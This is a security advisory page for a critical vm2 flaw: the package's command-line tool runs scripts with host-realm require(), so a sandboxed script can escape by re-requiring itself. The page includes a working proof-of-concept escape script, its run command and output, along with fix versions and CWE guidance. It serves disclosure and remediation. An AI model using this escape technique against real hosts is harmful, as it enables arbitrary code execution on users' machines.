GHSA-jxxv-8r27-vm4p CVE-2026-92950
vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts
- Severity
- 9.3 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.20%
- Chance of exploitation in the next 30 days. Higher than 9.51% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1188 Initialization of a Resource with an Insecure Default
- CWE-453 Insecure Default Variable Initialization
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere
- Fix
3.11.7- Upgrade vm2 to this version or later
Description
Summary
The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.
Details
The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
- Source -
bin/vm2:3→lib/cli.js:7-18.process.argv[2]is the attacker-authored script path. The CLI invokes:
WithoutNodeVM.file(path, { verbose: true, require: { external: true } });require.root,require.context, norrequire.builtin. - Hop -
lib/nodevm.js:618-636.NodeVM.filereads the file and callsnew NodeVM(options).run(body, resolvedFilename). - Hop -
lib/nodevm.js:335→lib/resolver-compat.js:205-266(makeResolverFromLegacyOptions). Destructuresexternal:true,rootPaths=undefined,hostRequire=defaultRequire(line 218),context='host'(default, line 219). Becausetypeof externalOpt !== 'object'(line 265) it returns aCustomResolverwithcheckedRootPaths=undefinedandpathContext = () => 'host'(line 263). - Hop -
lib/setup-node-sandbox.js:86-123(requireImpl). Sandboxrequire(id)resolves viaresolver.resolve(...)(lib/nodevm.js:380-383).lib/resolver.js:244-275handles absolute/relative specifiers;tryFileatlib/resolver.js:327-329gates onthis.isPathAllowed(x). - Barrier (gap) -
lib/resolver-compat.js:53-54:
With noisPathAllowed(filename) { if (this.rootPaths === undefined) return true;rootconfigured, every filesystem path is allowed.checkAccess(lib/resolver.js:39-42) delegates to the same method. - Sink -
lib/resolver-compat.js:74-77:loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); }hostRequireisdefaultRequire(lib/resolver-compat.js:20-23) - the real hostrequire(). The required module's top-level body executes in the host realm beforevm.readonly()wraps the exports; wrapping happens too late to constrain side-effects.loadNode(lib/resolver-compat.js:80-83) is identical for.nodenative addons (process.dlopenin host).
PoC
Save the following as /tmp/poc.js:
'use strict';
try {
// Host realm: fs is available - write sentinel and stop.
const fs = require('fs');
fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
// Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
// the CLI resolver loads it via host require() (resolver-compat.js:76).
console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
require(__filename);
}
Run via the shipped CLI exactly as the README documents:
node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`
Observed output:
sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof
/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose
direct require('fs') was blocked by the sandbox. The first line proves the
boundary exists; the second proves it was crossed.
Impact
A user who follows the README's CLI section and runs vm2 ./untrusted.js on an
attacker-supplied file gets arbitrary code execution as that user - the
sandbox provides no isolation in this configuration. The blast radius is the
full host Node.js process: fs, child_process, process.dlopen, network,
environment.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.11.7 |
3.11.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.7
- npm
npm install vm2@3.11.7- yarn
yarn add vm2@3.11.7- pnpm
pnpm add vm2@3.11.7
Severity breakdown
CVSS 4.0 9.3
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Local
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 8.6
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-1188: Initialization of a Resource with an Insecure Default
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
CWE-453: Insecure Default Variable Initialization
The product, by default, initializes an internal variable with an insecure or less secure value than is possible.
How to prevent it
- System Configuration: Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor